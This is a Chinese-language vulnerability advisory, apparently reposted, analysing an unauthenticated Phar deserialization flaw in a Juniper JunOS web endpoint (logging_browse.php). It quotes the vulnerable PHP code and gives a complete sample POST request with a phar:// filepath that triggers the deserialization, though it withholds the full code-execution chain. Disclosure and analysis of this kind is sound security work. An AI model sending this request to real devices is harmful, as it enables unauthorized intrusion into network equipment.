漏洞详情
Phar 文件(PHP 存档)文件包含序列化格式的元数据,当被 PHP 文件操作函数解析时,会导致元数据被反序列化。攻击者可以滥用此行为来利用瞻博网络代码库中的对象实例化漏洞。
phar 文件的独特之处在于,即使使用不评估 PHP 代码的 PHP 函数,如file_get_contents()、fopen()、file() 或 file_exists()、md5_file()、filemtime() 或 filesize(),也会发生这种反序列化, is_dir(),如果用户输入被传递给函数。
影响
未经身份验证的远程攻击者可利用此漏洞对远程 phar 文件进行反序列化,从而导致任意文件写入,从而导致远程代码执行 (RCE) 漏洞。在修补更多服务器之前,我们不会发布关于我们滥用以获取 RCE 的反序列化的完整 PoC,但如果您正在查看 JunOS 代码库,则很容易发现反序列化小工具。这是此漏洞未被评为 9.8 严重级别的唯一原因——攻击者需要找到我们找到的反序列化小工具或其他反序列化小工具才能获得 RCE。
漏洞分析
该漏洞是由 /jsdm/ajax/logging_browse.php 中的以下代码引起的:
$user = new user(true); //suppose to check if user is authenticated
$file_path=$_POST['filepath'];
if(!is_dir($file_path))
{
$json = '[]';
echo $json;
}
else
{
echo get_dir_listing($_POST['filepath'], $_POST['nameexceptions']);
}
即使有 $user = new user(true); 在第 1 行,控制器仍然可以在没有身份验证的情况下访问,因为如果不是真的用户检查不会退出。使用指向 Phar 文件的filepath参数发送一个简单的 POST 请求会强制进行反序列化。
漏洞复现
达到反序列化的示例请求看起来很简单:
POST //jsdm/ajax/logging_browse.php HTTP/1.1
Host: JUNOS:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
filepath=phar:////pharfile.jpg
该phar文件可以是通过图片上传门户上传的本地图片文件、缓存文件或通过未认证上传页面上传的远程文件。
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者